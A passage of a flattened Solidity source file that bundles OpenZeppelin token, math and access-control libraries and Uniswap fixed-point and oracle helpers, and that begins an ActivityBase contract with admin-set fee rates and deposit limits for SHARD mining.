* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @uniswap/lib/contracts/libraries/FullMath.sol
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
// File: @uniswap/lib/contracts/libraries/Babylonian.sol
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// File: @uniswap/lib/contracts/libraries/BitMath.sol
pragma solidity >=0.5.0;
library BitMath {
// returns the 0 indexed position of the most significant bit of the input x
// s.t. x >= 2**msb and x < 2**(msb+1)
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
// returns the 0 indexed position of the least significant bit of the input x
// s.t. (x & 2**lsb) != 0 and (x & (2**(lsb) - 1)) == 0)
// i.e. the bit at the index is set and the mask of all lower bits is 0
function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::leastSignificantBit: zero');
r = 255;
if (x & uint128(-1) > 0) {
r -= 128;
} else {
x >>= 128;
}
if (x & uint64(-1) > 0) {
r -= 64;
} else {
x >>= 64;
}
if (x & uint32(-1) > 0) {
r -= 32;
} else {
x >>= 32;
}
if (x & uint16(-1) > 0) {
r -= 16;
} else {
x >>= 16;
}
if (x & uint8(-1) > 0) {
r -= 8;
} else {
x >>= 8;
}
if (x & 0xf > 0) {
r -= 4;
} else {
x >>= 4;
}
if (x & 0x3 > 0) {
r -= 2;
} else {
x >>= 2;
}
if (x & 0x1 > 0) r -= 1;
}
}
// File: @uniswap/lib/contracts/libraries/FixedPoint.sol
pragma solidity >=0.4.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 public constant RESOLUTION = 112;
uint256 public constant Q112 = 0x10000000000000000000000000000; // 2**112
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; // 2**224
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow');
return uq144x112(z);
}
// multiply a UQ112x112 by an int and decode, returning an int
// reverts on overflow
function muli(uq112x112 memory self, int256 y) internal pure returns (int256) {
uint256 z = FullMath.mulDiv(self._x, uint256(y < 0 ? -y : y), Q112);
require(z < 2**255, 'FixedPoint::muli: overflow');
return y < 0 ? -int256(z) : int256(z);
}
// multiply a UQ112x112 by a UQ112x112, returning a UQ112x112
// lossy
function muluq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
if (self._x == 0 || other._x == 0) {
return uq112x112(0);
}
uint112 upper_self = uint112(self._x >> RESOLUTION); // * 2^0
uint112 lower_self = uint112(self._x & LOWER_MASK); // * 2^-112
uint112 upper_other = uint112(other._x >> RESOLUTION); // * 2^0
uint112 lower_other = uint112(other._x & LOWER_MASK); // * 2^-112
// partial products
uint224 upper = uint224(upper_self) * upper_other; // * 2^0
uint224 lower = uint224(lower_self) * lower_other; // * 2^-224
uint224 uppers_lowero = uint224(upper_self) * lower_other; // * 2^-112
uint224 uppero_lowers = uint224(upper_other) * lower_self; // * 2^-112
// so the bit shift does not overflow
require(upper <= uint112(-1), 'FixedPoint::muluq: upper overflow');
// this cannot exceed 256 bits, all values are 224 bits
uint256 sum = uint256(upper << RESOLUTION) + uppers_lowero + uppero_lowers + (lower >> RESOLUTION);
// so the cast does not overflow
require(sum <= uint224(-1), 'FixedPoint::muluq: sum overflow');
return uq112x112(uint224(sum));
}
// divide a UQ112x112 by a UQ112x112, returning a UQ112x112
function divuq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
require(other._x > 0, 'FixedPoint::divuq: division by zero');
if (self._x == other._x) {
return uq112x112(uint224(Q112));
}
if (self._x <= uint144(-1)) {
uint256 value = (uint256(self._x) << RESOLUTION) / other._x;
require(value <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(value));
}
uint256 result = FullMath.mulDiv(Q112, self._x, other._x);
require(result <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(result));
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// can be lossy
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// take the reciprocal of a UQ112x112
// reverts on overflow
// lossy
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint::reciprocal: reciprocal of zero');
require(self._x != 1, 'FixedPoint::reciprocal: overflow');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol
pragma solidity >=0.5.0;
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// File: interfaces/IInvitation.sol
pragma solidity 0.6.12;
interface IInvitation{
function acceptInvitation(address _invitor) external;
function getInvitation(address _sender) external view returns(address _invitor, address[] memory _invitees, bool _isWithdrawn);
}
// File: contracts/ActivityBase.sol
pragma solidity 0.6.12;
contract ActivityBase is Ownable{
using SafeMath for uint256;
address public admin;
address public marketingFund;
// token as the unit of measurement
address public WETHToken;
// invitee's supply 5% deposit weight to its invitor
uint256 public constant INVITEE_WEIGHT = 20;
// invitee's supply 10% deposit weight to its invitor
uint256 public constant INVITOR_WEIGHT = 10;
// The block number when SHARD mining starts.
uint256 public startBlock;
// dev fund
uint256 public userDividendWeight;
uint256 public devDividendWeight;
address public developerDAOFund;
// deposit limit
uint256 public amountFeeRateNumerator;
uint256 public amountfeeRateDenominator;
// contract sender fee rate
uint256 public contractFeeRateNumerator;
uint256 public contractFeeRateDenominator;
// Info of each user is Contract sender
mapping (uint256 => mapping (address => bool)) public isUserContractSender;
mapping (uint256 => uint256) public poolTokenAmountLimit;
function setDividendWeight(uint256 _userDividendWeight, uint256 _devDividendWeight) public virtual{
checkAdmin();
require(
_userDividendWeight != 0 && _devDividendWeight != 0,
"invalid input"
);
userDividendWeight = _userDividendWeight;
devDividendWeight = _devDividendWeight;
}
function setDeveloperDAOFund(address _developerDAOFund) public virtual onlyOwner {
developerDAOFund = _developerDAOFund;
}
function setTokenAmountLimit(uint256 _pid, uint256 _tokenAmountLimit) public virtual {
checkAdmin();
poolTokenAmountLimit[_pid] = _tokenAmountLimit;
}
function setTokenAmountLimitFeeRate(uint256 _feeRateNumerator, uint256 _feeRateDenominator) public virtual {
checkAdmin();
require(
_feeRateDenominator >= _feeRateNumerator, "invalid input"
);
amountFeeRateNumerator = _feeRateNumerator;
amountfeeRateDenominator = _feeRateDenominator;
}
function setContracSenderFeeRate(uint256 _feeRateNumerator, uint256 _feeRateDenominator) public virtual {
checkAdmin();
require(
_feeRateDenominator >= _feeRateNumerator, "invalid input"
);
contractFeeRateNumerator = _feeRateNumerator;
contractFeeRateDenominator = _feeRateDenominator;
}
function setStartBlock(uint256 _startBlock) public virtual onlyOwner {
